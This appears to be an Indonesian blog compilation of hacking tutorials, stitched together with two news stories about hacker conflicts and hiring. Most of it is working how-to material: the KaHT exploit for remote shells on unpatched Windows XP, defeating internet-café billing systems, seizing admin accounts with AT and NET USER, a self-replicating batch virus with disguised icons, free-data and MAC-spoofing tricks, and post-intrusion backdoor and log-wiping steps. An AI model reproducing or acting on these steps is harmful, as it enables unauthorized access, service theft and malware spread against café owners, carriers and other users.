Terkadang dalam suatu warnet atau Lab atau bahkan kost. yang menggunakan WIndows XP, biasanya pengguna diberikan akses guest atau limited account. Untuk ngeburn CD atau klo mo nginstall program kita ngga akan bisa, karena aksesnya bukan admin. Kadang-kadang ngeselin juga klo kayak gitu, jadi ngga bisa ngapa-ngapain, Burn CD ga bisa, jalanin program ga bisa, pokoknya terbatas banget :(...
gue mo ngasih tips gimana caranya dapetin akses admin yang memanfaatkan kelemahan di Windows XP. Mungkin yg master dah pada tau tips ini, tapi kan ngga semuanya master ;p...
gue cuma mo bagi-bagi ilmu aja, siapa tau ada gunanya. Tapi penulis ngga bertanggung jawab klo ada yang menggunakan untuk hal-hal yang kurang bertanggung jawab, tutorial ini cuman untuk iseng-iseng aja, he... Apa aja yang dibutuhin ?
1. Komputer??
2. Hoki, karena cuman WinXP yg blm di Update aja (ato yg masih Vulner yg bisa diakses)
3. Uang, buat jajan n kewarnet (atau klo mau, bisa ngehack bilingnya, bisa ga pake uang kan... tp bisa2 lo ketangkep)
Langkan pertama lo butuh program exloit KaHT yg dibuat oleh Kralor, KaHT tuh bisa 'NyeCan' beberapa Host, trus dicari mana yg 'Vulner', n jalanin exploit di Host yg Vulner itu. Klo Linknya ga bisa, coba Googling aja, banyak ko klo dah dapet,
trus jalanin cmd lewat Run (Start > Run > cmd). Sebelumnya jangan lupa untuk men-disable antivirus, karena kaht dikenali sebagai trojan. Misalkan program kaht ada di drive C, folder kaht, maka pertintahnya sbb:
C:\kaht>kaht 127.0.0.0 127.0.0.1
--> artinya scan Ip dari 127.0.0.0 sampai 127.0.0.1 (127.0.0.1 adalah IP untuk Loopback, artinya kaht melakukan scanning untuk komputer itu sendiri)Bisa juga untuk Scanning jaringan tertentu misalnya kaht 192.168.0.0 192.168.0.100 Klo berhasil, lo bakal dapet akses admin..
C:\Windows\system32>
coba check IP nya (ipconfig), apa ini komputer kita ??? TaRaa.... yup, 'Admin Under Control' hehe... dapet deh akses admin :D Klo dah gini lo bisa ngapain aja lewat komputer itu. Mo, ngeBurn CD, mo liat-liat file yg di 'protect' admin (siapa tau aja ada file2 yg menarik), mo buat user dgn akses admin, atau buat Backdoor biar klo Login usernya punya akses admin.... Atau lo bisa ngisengin temen lo yang satu jaringan (LAN), bisa juga curangin waktu maen game di jaringan... hehe.. kan seru tuh!!
Mendapatkan Akses Admin
4 Cara Hack Billing
Cara 1:
Nyalain kompi .Setelah loading windows tekan tahan Ctrl+Alt+Del sebelum keluar jendela billing(harus cepet coz jendela billing muncul hanya 2 detik setelah loading windows). Setelah kluar task manager klik ‘End Task’ pada aplikasi “client 008″.
Cara 2:
Menggunakan software “Billing Hack”download. Software ini bahkan bisa mereset time billing.
Bisa juga sebelum nyalain kompi cabut kabel LAN di belakang CPU. Biar gak terlalu mencurigakan, cabut kabelnya sambil pura-pura pasang USB ato Flash Disk (sambil nyelam mancing ikan gitu deh pepatahnya).Trus nyalain kompi tunggu sampai jendela billing keluar. Klik “Admin” masukkan password default “008″. Trus di Exit Client&Password masukkan juga password 008. Abis tu, setelah muncul kotak yang terakhir cari tanda ****** yang letaknya paling bawah kiri, delet tanda tsb dan terakhir klik ‘Exit Client’ yang terletak di sebelah kanan tanda yang telah kita hapus tadi. Jadi deh…
Kalo semua cara di atas ga bisa dilakuin, hentikanlah usahamu. Sesungguhnya perbuatan jahatmu tidak diridhoi Tuhan
Kalo ketahuan langsung pertebal “muka bego”-mu. Misalnya bilang “Eh, kok jadi gini ya? Kemaren ga gini kok.” Ato kata-kata lain, tergantung kreatifitas kamu.
Cara 3:
Yang perlu kamu siapin adalah :
1. CheatEngine (versi berapa aja)
2. Warnet pakai Billing Explorer (versi berapa aja)
3. Ketenangan dan Konsentrasi
Yuk kita mulai D
pertama - tama kan kamu masuk warnet terus pesen aja yang paket ( kalo aku dolo sering pake yang paket 5000 dapet 3 jam ), kalo yang reguler gitu ntar sama aja, tapi yang penting coba dulu deh.
Kalo udah login buka cheat engine dan targetin ke billing explorernya dan semua diawali disini. Nah awal hacking sudah dimulai, sekarang masuk ke cara yang paling penting yaitu proses scanning.
Masukkan kata yang akan discanning yaitu “file” (tanpa tanda petik) dengan format text. Apabila sudah dapat beberapa address ( +/- 10 address atau lebih ) sekarang double klik satu persatu dan ubah menjadi kata apa saja misal “hahahahahaha” (tanpa tanda petik). Nah hal ini kamu ulangi pada edit, view, abou hingga akhirnya billingnya error dan ilang sendiri.
Nah di servernya bakal error juga dan kamu siap internet hingga puas dan sampai OPna sadar paket 3 jam kok ga selesai - selesai. Ntar kalau ditanya bilang aja billingnya error.
Semoga sukses^^. Trik ini kayaknya baru aku yang nemuin jadi bisa dikatakan founder de..
Untuk picture nya sory ga bisa ngasih, yang penting coba aja.
Cara 4 (dengan Kaht):
Tool Utama
Tools yang digunakan untuk mendukung aksi kita ini adalah sebuah program yang dinamakan kaht. Program ini digunakan untuk membuka shell target secara remote dengan menggunakan kanal port 135 (itu kalo tidak salah).
Cari Server
Langkah kedua ini yaitu mencari ip dari target kita. Kebiasaannya dalam dunia networking terutama LAN, ip dari server billing target kita adalah 192.168.0.1 tetapi itu tidaklah mutlak. Untuk masalah mencari ip dari target kita, kita serahkan saja semuanya kepada kaht. Ketikkan command winipcfg di run atau di command prompt untuk melihat ip kita. Lalu, masih di command prompt, pindahkan directory anda ke directory di mana anda menyimpan file kaht.
Mulai
Dengan asumsi bahwa ip anda adalah 192.168.0.3 dan anda yakin bahwa target billing server kita berada dalam jangkauan yang sama yaitu dari 192.168.0.0 – 192.168.0.255 maka ketikkan command berikut : kaht contoh penggunaan : C:\kaht 192.168.0.0 192.168.0.255 Selanjutnya tinggal ongkang-ongkang kaki aja dan bersantai sejenak sambil “ngudud”. Setelah mendapatkan target kita, kita cek sekali lagi apakah dia itu target billing server kita ??? kalo bukan ketikkan exit dan kaht akan melanjutkan proses scanning target di lan kita. Untuk mengetahui apakah target yang kita masuki adalah target yang kita inginkan, ketikkan command ipconfig /all di kotak DOS target kita (anda sekarang sedang melakukan remote shell lho :)). Biasanya pada baris hostname akan bernilai server atau yang lain, soalnya ini tergantung administratornya sich mo kasih nama apa itu host namenya. Setelah yakin bahwa target yang kita masuki adalah target billing server kita, maka lanjutkan mengetikkan command time lalu isikan dengan yang baru. Selanjutnya terserah anda.
Nge-Hack Billing (Masuk Tanpa Log-In)
Kali ini gue berhasil bereksperimen dan nyobain Ini beberapa hotkey ZHider yang bisa digunakan, untuk hotkey lainnya silakan baca file readme yang disertakan bersama zhider CTRL+ALT+Z Menyembunyikan jendela aktif
tools-tools kecil tapi bermanfaat bangget!!!
Ok! Langsung saja. Target Gue kali ini adalah WARNET!!!:devil:
Tools yang dibutuhkan :
1. Zhider 2.0 atau AceHider Free
2. Startup Manager
Toolsnya bisa dicari melalui paman google atau download dibawah ini
Tools hacking.zip
204 Kb Password : @R!3L
Log in seperti biasa diwarnet kesayangan kamu (bioskop kali!!!):happy:
Setelah online, saatnya beraksi:ninja: !
Buka zhider.exe, untuk membaca keterangan tentang software tersebut dan penggunaannya silakan baca readme.txt.
Setelah Zhider.exe diexecute, maka akan tampak pada tab Processes di Task Manager
Bila menggunakan Kapersky Antivirus maka akan terdeteksi sebagai Invader
Untuk amannya bisa menggunakan AceHider Free, tapi perlu diinstall. Apalagi status kamu cuma Guest bukan Administrator, jadi mustahil untuk menginstall sebuah software kedalam kompi.
Tapi jangan khawatir, kali ini gue udah siapkan semua.
Kamu bisa mengesktrak Folder AceHider Free dari Tools Hacking.Zip, atau AceHider Free.exe dari folder tersebut.
Tapi bila menggunakan AceHider Free maka akan tampak pada taskbar, sehingga kemungkinan ketahuan akan lebih besar.
Sekarang tinggal memilih tools mana yang ingin kamu pakai Zhider atau AceHider Free?
Kita masuk dalam penggunaan tools tersebut
1. Menggunakan Zhider
Bila kita menggunakan Zhider, kendala yang akan kita dapati adalah terdeteksi oleh antivirus, tapi biasanya warnet dikota gue memakai McAfee dan NOD32, walaupun diupdate tetap saja nggak bisa dideteksi. Kecuali menggunakan Kapersky, itupun hanya terdeteksi bila Task Manager dibuka. Oleh karena itu Zhider cukup aman untuk dipakai.
Setelah mengeksekusi Zhider.exe, kita dapat mencobanya dengan menyembunyikan jendela apapun yang sedang aktif. Untuk menyembunyikan jendela yang sedang aktif tekan Ctrl+Alt+Z, sedangkan untuk menampilkan kembali jendela tersebut tekan Ctrl+Alt+X.
==========================================================================================================
It's Show Time
==========================================================================================================
AceHider dapat dijalankan walaupun kompi direstart, tapi Zhider tidak. Oleh karena itu gunakanlah Startup Manager yang ada di tools hacking.zip, dengan file bernama strun.exe. Fungsinya untuk menjalankan sebuah aplikasi waktu kompi di Reboot.
Kita akan mengaktifkan Zhider.exe pada waktu kompi di reboot, sehingga pada waktu kita mampir kewarnet, kita bisa main GRATISSS!!! Khan tinggal di Ctrl+Alt+Z, jendela log ini akan disembunyikan. Browsing deh sesuka hati:p
Jalankan strun.exe, buka File, new startup item (Ctrl+N)
Tambahkan Zhider.exe, dengan membuka Zhider pada tempat anda menyimpan file tersebut. Berilah nama untuk Zhider dengan nama yang tidak mencurigakan seperti Adobe Updater. Ok ! Selesai deh!p:
Sekarang, log out dan klik pada jendela log in tepatnya didaerah kosong dimana saja, kemudian tekan Ctrl+Alt+Z.
Bang!!!:yikes: Suprise:D
CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan
CTRL+ALT+L Menampilkan dialog zhider
CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider.
2. Menggunakan AceHider Free
Bila kita menggunakan AceHider, maka akan terasa lebih mudah. Aktifkan Acehider, untuk menyembunyikan jendela yang sedang aktif double klik pada icon tray pada taskbar, maka jendela yang aktif akan disembunyikan, untuk menampilkan kembali, klik kanan pada icon tray. Kemudian pilih Show Window.
Anda dapat mengatur program ini sesuka hati dengan mengatur Preferences.
Klik kanan lalu pilih Preferences, gantilah system hot keys dengan pilihan anda
Setelah itu log out, dan tekan tombol sesuai pilihan anda yang telah anda atur untuk menyembunyikan jendela log in
Ingat !!! Jangan lupa berdoa sebelum tidur, sorry Resiko tanggung sendir
Ariel's Blog
Cara Jebol Password Admin di User Acount
Pertama buka kmputer anda.
Pada saat tampilan menu login, tekan Ctrl - Alt - Del dua kali.
Maka akan muncul login form.
Disitu user name di isi dengan nama : Administrator
Password tidak perlu diisi. Tekan enter.
Jika anda berhasil login, maka kemungkinan sukses tinggi sekali.
Jika sukses, maka status anda adalah sebagai Administrator. Tetapi biasanya (by default) Administrator tidak bisa akses document user - user.
Setelah itu coba anda buka command prompt.
Disitu ketik:
AT 8:01am /interactive cmd.exe
Note : 8:01am diganti dengan waktu anda sekarang, tetapi ditambah 1-2 menit.
Perintah diatas akan memanggil program cmd.exe, namun ownernya adalah system. Dengan kata lain, kita dapat mengganti password semua user di komputer itu.
Setelah command prompt yang kita panggil lewat AT tadi muncul, maka disitu ketik command line ini :
NET USER namauserutama passwordbaru
Sukses.
Sekarang coba log off, dan login ke account user yang anda hack tadi dengan password baru yang anda save. Selesai.
Jika cara tersebut tidak sukses, untung lebih mudah, anda download saja opchrack.
Semoga bisa membantu.
Note : Cara ini saya dapatkan dari hackernotcracker
Gara-Gara Manohara, Hacker Malaysia & Indonesia Saling Serang
Dugaan penculikan model cantik asal Indonesia Manohara Odelia Pinot oleh Pangeran Kelantan ternyata menyulut peperangan antara hacker Indonesia dengan Malaysia.
Dari pengamatan okezone, Jumat (24/4/2009) setidaknya ada tiga situs Malaysia yang diacak-acak oleh para hacker itu, hingga mengubah tampilan di situs yang beralamat di http://carihouse.com/, http://www.aspati.com.my/sekolah/, http://uumtvchannel.com.my/
Ketiga situs tersebut tampilan yang didominasi oleh warna hitam itu, disusupi gambar bendera Malaysia yang robek, sambil ditambahkan pesan yang ditujukan oleh Mano. Adapun isi pesan tersebut yaitu,
Dedicated To : Manohara Odelia Pinot
Kami Tidak Rela
Wanita INDONESIA
Disekap Dan Dianiaya Oleh Kalian..!!
Situs yang hingga kini masih belum diketahui oleh adminnya itu, dibobol oleh kelompok hacker yang mengaku bernama Gembelcyber. Nampaknya, kelompok ini berafilasi dengan beberapa peretas lain di Indonesia seperti, Jatimcrew, bl4ck_h4t, dan lain sebagainya. Ini terlihat dari ucapan terima kasih yang tertera.
Namun, salah satu situs di aspati.com.my, nampaknya sudah langsung diketahui oleh peretas di Malaysia. Buktinya, meski tampilan latarnya tidak diubah, tapi isi pesan telah diganti keseluruhannya. Ini terlihat dari pesan balasan yang ditujukan untuk para peretas Indonesia, dengan hinaan sebagai gay. Sambil tidak lupa meremehkan Indonesia dengan sebutan 'IndonShit'.
Dicari: Hacker untuk Bantu Pemerintah AS
WASHINGTON - Amerika Serikat mulai memburu para hacker yang berkeliaran di dunia maya. Tapi kali ini, bukan untuk dijebloskan ke dalam penjara, melainkan akan membayar keahlian mereka untuk membantu pemerintah.
The Age, Minggu (19/4/2009) melansir, General Dynamics Information Technology, sebuah perusahaan yang berkaitan erat dengan pertahanan dan keamanan Amerika Serikat, memasang iklan di sejumlah wilayah yang mengungkapkan sedang mencari seorang 'bad guy' di dunia maya. Para pelamar harus memenuhi persyaratan seperti sangat memahami taktik dan strategi hacker serta mampu menganalisa trafik internet dan mengidentifikasi sistem jaringan di pemerintahan AS.
Amerika Serikat selama ini, telah menjadi sasaran ribuan hacker dunia. Gedung Putih menyadari sepenuhnya, bahwa AS sangat minim persiapan untuk menangkal setiap serangan di dunia maya. AS juga telah melakukan penelitian 60 hari tentang bagaimana menggunakan teknologi untuk melindungi berbagai sistem vital di negaranya, seperti listrik, dan sistem penerbangan
Selain itu, untuk mengantisipasinya, Pentagon akan mengeluarkan kebijakan untuk menambah jumlah ahli komputernya. Departemen Pertahanan AS itu mengharapkan mampu melatih setiap ahli serangan cyber sebanyak 80 hingga 250 orang per tahun pada 2011.
Menurut VP General Dynamics, Nadia Short, nantinya hacker yang terpilih akan dikontrak selam empat tahun dengan bayaran USD60 juta untuk membangun sistem jaringan yang aman dan mengurangi resiko serangan.
Sumber: okezone.com
Trik Internet Gratis Pake 3, MAU?
semua trik berasal dari forum.cyberphreaking.com
Pertama
Pertama : install dululu Opera6 dan Java terus setting preference nya, di setting preference pilih file type edit ” application / internet-shortcut ” pilih tab ” open with application ” pilih choose dan pakai program java ” JavaAW “
jangan lupa setting home page ke ” www.sureproxy.com “
Kedua : setting proxy dibrowser opera pakai ” 10.4.0.10 dan selanjutnya setting properties di koneksi 3 gprs Loe. pilih tab ” Option ” dan setting redialling Optionnya ” Redial Attemp = 20 atau terserah Loe.. ” ” Time beetwen redial isi 3 detik ” terus centang ” redial if line dropped “
Ketiga : mulai konek 3GPRS nya,setting di Home page deffault opera ” http://www.sureproxy.com@wap.three.co.id ” dan buka browser opera. Kalau udah masuk website sureproxy.com,Selamat…. Loe berhasil… Kalau disconnet 3gprs nya, biarin aja.. loe browsing aja terus…
Kedua
[ Langkah 1 ] Siapkan kartu 3 Anda
Siapkan Kartu 3 Anda, setelah Anda masukkan SimCard nya ke handphone Anda, maka tidak lama Anda akan dikirimi Setting-an 3 MMS dan 3 GPRS, bagi para pengguna Nokia 5300 [ s40 3rd ] biasanya akan dikirimin Settingan 3streaming, disinilah kita akan bermain dengan 3 streaming, kenapa begitu ?
Karena pada Menu Pengaturan di Nokia 5300 [ s40 3rd ] tidak ada pilihan 3 MMS bagaimana layaknya Handphone yang lain seperti Symbian, dan lainnya.
[ Langkah 2 ] Download Aplikasinya
Download aplikasi OPERA MINI MOD 2.06 [ versi standar ] di situs http://cyberphreaking.com lalu pilih Phreaking Tools dan Download OPERA MINI MODIF. Setelah mendapatkannya Install di hape Anda.
[ Langkah 3 ] Atur Setting-an di Hape Nokia 5300 [ s40 3rd ] terlebih dahulu
Ok ! Setelah terinstall, kita rubah lebih dahulu Pengaturan di hape Nokia 5300 [ s40 3rd ]
Kita, Pilih Setting > Configuration > Preferred access pt. > ganti menjadi 3 streaming.
[ Langkah 4 ] Atur Setting-an Pada Aplikasi Opera Mini Mod
Buka Aplikasi Opera Mini Mod yang sudah terinstall .
Tekan Keypad Kiri . > Peralatan > Pengaturan > Jaringan
Lalu Ubahlah Seperti apa yang tertera dibawah ini :
URL untuk koneksi : ( tidak perlu dirubah )
Periksa waktu putus koneksi Waktu [detik] : ( biarkan apa adanya )
Centangkan pada Pilihan “Menggunakan Proxy”
Server : 10.4.0.10
Port* : 3128
Login : 3streaming
Password : 3streaming
Server Opera Mini :
Di pilih pilihan “Lainnya”
Lalu Tuliskan :
server.operamini.com:80@streaming.three.co.id
Lalu Tekan “Simpan”
[ Langkah 5 ] Surfing Internet via Opera Mini GRATIS tanpa pulsa !
Untuk surfing pertama awalilah pada situs-situs yang agak ringan,
Di anjurkan buka http://www.google.co.id untuk mencoba apakah Anda sudah tersambung atau belum.
Bila page nya sudah terbuka, silahkan terus lanjutkan !
[ Langkah 6 ] Warning !
Sering terjadi hal yang menyebabkan Opera Mini error koneksinya, dan hal ini menyebabkan pindahnya pengaturan pada Opera Mini, bila tidak segera diganti maka PULSA anda akan tersedot.
Maka Bila Hal ini terjadi. Anda Harus memindahkan Pilihan pada Pengaturan Jaringan Server Opera Mini Yang Naik kembali Menjadi “Lainnya”.
Hal ini sering terjadi maka diwajibkan untuk lebih teliti.
[ END ]
Bikin Virus dengan perintah CMD
Bagi yang tidak bisa bahasa pemrograman ada satu cara yang gampang dan sangat mudah untuk membuat semacam virus.
Yang perlu dipersiapkan:
1. Software Quick Batch File Compiler (quickbfc.exe)
2. License key atau crack dari quickbfc
3. Pengetahuan akan perintah cmd
4. Software Icon Changer
quickbfc adalah software dari www.abyssmedia.com yang mana software ini bisa digunakan untuk mengcompile (atau apa aja deh namanya) perintah2 cmd menjadi file exe.
Salah satu keistimewaan quickbfc ini adalah kemampuannya untuk menjadikan file exe yang dibuat ketika di run tidak akan menampilkan jendela console. Fitur ini bisa diset dengan memilih project=>option=>ghost application. Hanya saja yang bisa menggunakan fitur ini hanyalah full version (atau bisa juga di crack).
Icon Changer (IC) diperlukan untuk mencari icon seperti icon kepunyaan windows.
IC dapat didownload di http://www.shelllabs.com.
Setelah membuka IC, search icon di folder windows\system32 , disitu akan ada banyak icon yang menarik, seperti icon folder, icon text,dll. Setelah ketemu icon yg diinginkan simpan icon tersebut.
Sekarang kita bahas masalah perintah cmdnya. Salah satu ciri virus yaitu kemampuan menggandakan diri. Seperti kita ketahui jika kita membuat bat file dg isinya “ copy %0 c:\ “ maka akan berakibat file bat tadi dicopikan ke c:\. Tapi ketika kita menggunakan perintah yg sama di quickbfc maka hasilnya tidak seperti itu, dalam artian file exe yang dihasilkan ketika di run tidak akan di copi ke drive c:\. Untuk menyiasati hal ini kita bisa menggunakan cara lain yaitu dengan perintah “for %%a in (*.exe) do if %%~za equ 12345 copy %%a c:\arira.exe “ .
Perintah ini berarti “ untuk setiap file exe dalam direktori ini jika file berukuran 12345 bytes maka copikan file (yg berukuran 12345 bytes tadi ) ke c:\ dg nama arira.exe “. 12345 adalah ukuran file virus hasil kompile dari quickbfc (misalnya) . Permasalahan yg ada adalah jika ada file exe yg ukurannya sama dan berada pada folder yg sama dengan file virus kita.
Ok,selanjutnya buat perintah lainnya.
Kita buat agar kalau virus kita di run akan membuka my documents. Perintahnya “ explorer %userprofile% “.
Terusss, perintah yang ini bisa sedikit menjengkelkan for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe “%%d” ,perintah ini berarti “untuk setiap folder, subfolder di drive c copikan file c:\arira.exe di folder kalian dengan nama cinta.exe”. maka setelah perintah ini selesai dieksekusi semua folder dan subfolder di c:\ akan memiliki file cinta.exe.
Dan seterusnya….dan seterusnya pikirkan sendiri perintahnya…..misalkan bikin value di regedit biar si virus bisa hidup lagi setelah computer restart,dll.
Contoh: perintah cmd yang sudah kita buat
REM ini adalah awal dari skrip
for %%a in (*.exe) do if %%~za equ 12345 copy “%%a” c:\arira.exe
explorer %userprofile%
for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe “%%d”
REM ini adalah akhir dari skrip
Sebelum dikompile pilih custom resources untuk menset icon dari file yang akan dihasilkan. Kompile skript diatas, kemudian lihat ukuran file exe yang dihasilkan. Misalkan ukuran file yang dihasilkan adalah 82571, maka ganti skript diatas sehingga menjadi
REM ini adalah awal dari skrip
for %%a in (*.exe) do if %%~za equ 82571 copy “%%a” c:\arira.exe
explorer %userprofile%
for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe “%%d”
REM ini adalah akhir dari skrip
Kompile ulang, lihat ukuran file yang dihasilkan. Jika ukurannya 82571 bytes maka sudah benar. Jika belum, ulangi sampai angka pada skript sama dengan ukuran file yang dihasilkan.
Keterangan:
Pada contoh perintah diatas “for %%a in (*.exe) do if %%~za equ 82571 copy %%a c:\arira.exe “ tidak bisa digunakan untuk cmd (hanya bisa untuk skript), kalau pingin menggunakan perintah ini dalam cmd makan ganti %%a dengan %a sehingga perintahnya akan menjadi “ for %a in (*.exe) do if %~za equ 82571 copy %a c:\arira.exe “
Terima Kasih kepada tomPLIX see
Menjebol Proteksi HotSpot
Hari gini internet kabel ?
Seperti kita ketahui, HotSPOT atau tempat akses internet Wireless dengan standard 802.11b/g sudah bukan barang asing lagi ditelinga kita, dan bila kita berpergian di tempat publik seperti Mall, Cafe, hotel dan kantor, dengan mudahnya kita menemukan fasilitas tersebut.
Namun sangat disayangkan tidak semua penyedia layanan menawarkan fasilitas Internet Wireless dengan gratis, atau kalaupun gratis, sangatlah terbatas.
Salah satu proteksi yang digunakan penyedia layanan wireless adalah dengan membatasi akses internet berdasarkan MAC Address.
Apa itu MAC Adress ?
In computer networking a Media Access Control address (MAC address) or Ethernet Hardware Address (EHA) or hardware address or adapter address is a quasi-unique identifier attached to most network adapters (NICs).
Oke jadi kesimpulannya MAC Address adalah nomer unik yang membedakan setiap perangkat jaringan yang terpasang dikomputer kita.
Contoh kasus adalah HotSPOT di Alun-Alun Jember. Ini adalah tempat favorit saya berinternet selain di Syafia .
Pada HotSPOT Alun-Alun Jember, sang penyedia layanan Internet Wireless, membatasi penggunaan Internet gratis hanya selama 3 Jam, setelah itu anda tidak dapat mengakses internet lagi, dan baru akan dapat mengakses lagi di hari esok. Jenis proteksi yang digunakan adalah MAC Address Filtering.
Kondisi yang saya hadapi adalah : saya ingin mengerjakan tugas kuliah di food court itu sembari makan dan minum dan saya membutuhkan akses internet.Untuk menyelesaikan tugas, saya dan teman-teman membutuhkan waktu lebih dari 3 jam.
Bagaimana menjebol Proteksi dengan MAC Address ?
Ada sebuah tools yang sangat bermanfaat untuk anda.Tools itu bernama K-MAC.Anda dapat mendownloadnya disini : http://www.neset.com/download/?k-mac.zip
Dengan tools ini anda akan dapat mengubah MAC-Address anda secara instant dan apa artinya ? Anda dapat menjebol Proteksi MAC Address ! Setiap jatah akses internet anda habis dalam waktu 3 jam, yang anda perlu lakukan hanyalah mengubah MAC Address anda, dan lakukan koneksi kembali
Lalu bagaimana bila akses Wireless dibuat dengan proteksi yang lain ? Seperti WEP Keys dan WPA/WPA2 Keys ? Itu akan saya bahas lain kali
Belajar Hack - Konsep Dasar Hacking
Disini saya lebih menitikberatkan untuk hacking OS
Bagian 1
*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ’standar’, hacking sebenarnya tidak harus selalu sesuai dengan ’standar’ ini.
Hacking buat pemula
- by aCh
Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….
Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….
Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.
Pro dan Kontra Hacking
| | Pro | Kontra |
| Etika Hacking | Semua informasi adalah free | Jika semua informasi adalah free, maka tidak ada ladi privacy |
| Aspek Security | Intrusion adalah ilustrasi kelemahan sistem | Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci |
| Idle Machines | Hacking hanya pada idle machines | idle machines milik siapa ? |
| science education | hanya membobol tapi tidak merusak | “hacker wannabe” berpotensi sangat besar untuk merusak |
Okeh, sekarang waktunya melakukan aksi…
1. Fase Persiapan
~ Mengumpulkan informasi sebanyak-banyaknya
- Secara Aktif : - portscanning
- network mapping
- OS Detection
- application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
- Secara Pasif : - mailing-list (jasakom, newbie_hacker, hackelink, dsb)
- via internet registries (informasi domain, IP Addres)
- Website yang menjadi terget
2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->
$gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.target.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
- Secara berulang melakukan percobaan otentifikasi.
- Menebak username dan password.
- Cracking password file
~ Social Engineering
- Memperdayai user untuk memeberi tahu Username dan password
- Intinya ngibulin user….
3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek.
Super Bluetooth Hack
Digunakan untuk jahil dan iseng melalui bluetooth. Aplikasi ini 
Download : Klik Disini
Review Tool Hack
Berikut adalah ulasan mengenai tool hack yang sering 
1. Network Stumbler
digunakan untuk mendeteksi sinyal wifi yang berada di sekitar kita. Kelebihannya adalah bisa mendeteksi MAC Address, IP Address, dan lainnya.
2. Kismet
Fungsinya sama dengan network stumbler. namun ada perbedaan dengan Netstumbler, tool Kismet ini bekerja secara pasif dalam mengenali penyusup dalam jaringan. Namun, konfigurasi software ini jauh lebih sulit.
3. Cain & Abel
Chain Abel is more than a sniffer, its has a multifunction such as Tracing, Scanning, and specially its ability to deal with wireless network (in this case u have to install AirPcap)…Dengan tool ini kita bisa mendapatkan password seseorang dalam 1 jaringan
4. nMap (Guinya -> ZeNmap )
Untuk mengetahui pemetaan komputer dalam 1 jaringan dan untuk melakukan scanning kepada target service apa yang ada.
5. Metasploit Framework 3
Tool buat hack berbagai macam OS mulai dari Unix sampai windows. Untuk windows kita bisa mendapatkan sheel dari target. Dengan ini proses hacking jadi lebih mudah
6. TMac ( MacChanger)
Untuk mengubah MAC address dari suatu device (ethernet, wifi, atau lainnya )
7. look@lan
untuk melihat komputer yang terhubung dalam 1 jaringan dan bisa untuk scan terhadap komputer korban port apa saja yang terbuka.
8. Wireshark
Tool hack dalam jaringan wireless. Bisa buat sniffing dan lainnya.
Untuk downloadnya silahkan masuk kata kunci tool ke google.com.
.jpg)
